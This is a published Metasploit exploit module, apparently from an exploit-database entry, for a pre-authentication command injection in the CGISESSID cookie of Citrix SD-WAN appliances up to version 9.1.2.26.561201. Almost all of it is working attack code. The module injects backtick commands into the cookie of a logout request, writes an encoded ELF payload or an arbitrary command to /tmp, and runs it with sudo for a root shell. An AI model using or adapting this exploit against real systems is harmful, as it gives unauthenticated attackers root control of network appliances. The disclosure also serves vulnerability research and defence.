# Exploit Title: Citix SD-WAN logout cookie preauth Remote Command Injection Vulnerablity 
# Date: 02/20/2017
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.citrix.com
# Software Link: https://www.citrix.com/downloads/cloudbridge/
# Version: 9.1.2.26.561201
# Tested on: 9.1.2.26.561201 (OS partition 4.6)
#            
# CVE : (awaiting cve)

# vuln: CGISESSID Cookie parameter
#  associated vuln urls:
#                       /global_data/ 
#      /global_data/headerdata 
#      /log
#      /
#      /r9-1-2-26-561201/configuration/ 
#      /r9-1-2-26-561201/configuration/edit 
#      /r9-1-2-26-561201/configuration/www.citrix.com [CGISESSID cookie]
#
# Description PreAuth Remote Root Citrix SD-WAN <= v9.1.2.26.561201. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Citrix SD-WAN CGISESSID Cookie Remote Root',
          'Description'    => %q{
          This module exploits a remote command execution vulnerability in the Citrix SD-WAN Appliace Version <=  v9.1.2.26.561201. The vulnerability exist in a section of the machine's session checking functionality. If the CGISESSID cookie holds shell-command data - it is used in a call to system where input is processed unsanitized.
      },
      'Author'         =>
        [
          'xort@Critical Start', # vuln + metasploit module
        ],
      'Version'        => '$Revision: 1 $',
      'References'     =>
        [
          [ 'none', 'none'],
        ],
      'Platform'      => [ 'linux'],
      'Privileged'     => true,
       'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
            'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

      'Targets'        =>
        [
          ['Linux Universal',
            {
                'Arch' => ARCH_X86,
                'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget' => 0))

      register_options(
        [
          OptString.new('CMD', [ false, 'Command to execute', "" ]),  
          Opt::RPORT(443),
        ], self.class)
  end

  def run_command(cmd)

    vprint_status( "Running Command...\n" )

    # send request with payload  
    res = send_request_cgi({
      'method' => 'POST',
                        'uri'     => "/global_data/",
      'vars_post' => {
        'action' => 'logout'
      },
                   'headers' => {
                          'Connection' => 'close',
                          'Cookie' => 'CGISESSID=e6f1106605b5e8bee6114a3b5a88c5b4`'+cmd+'`; APNConfigEditorSession=0qnfarge1v62simtqeb300lkc7;',
                        }

    })


    # pause to let things run smoothly
    sleep(2)


  end

  
  def exploit
    # timeout
    timeout = 1550;

    # pause to let things run smoothly
    sleep(2)

     #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload

                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\x\1\2')

      # upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
                        run_command("echo -e #{encoded_cmd}>/tmp/n")
                        run_command("chmod 755 /tmp/n")
                        run_command("sudo /tmp/n")
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\x\1\2')

      # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command("echo -e #{encoded_elf}>/tmp/m")
                        run_command("chmod 755 /tmp/m")
                        run_command("sudo /tmp/m")

      # wait for magic
                        handler
      
                end


  end
end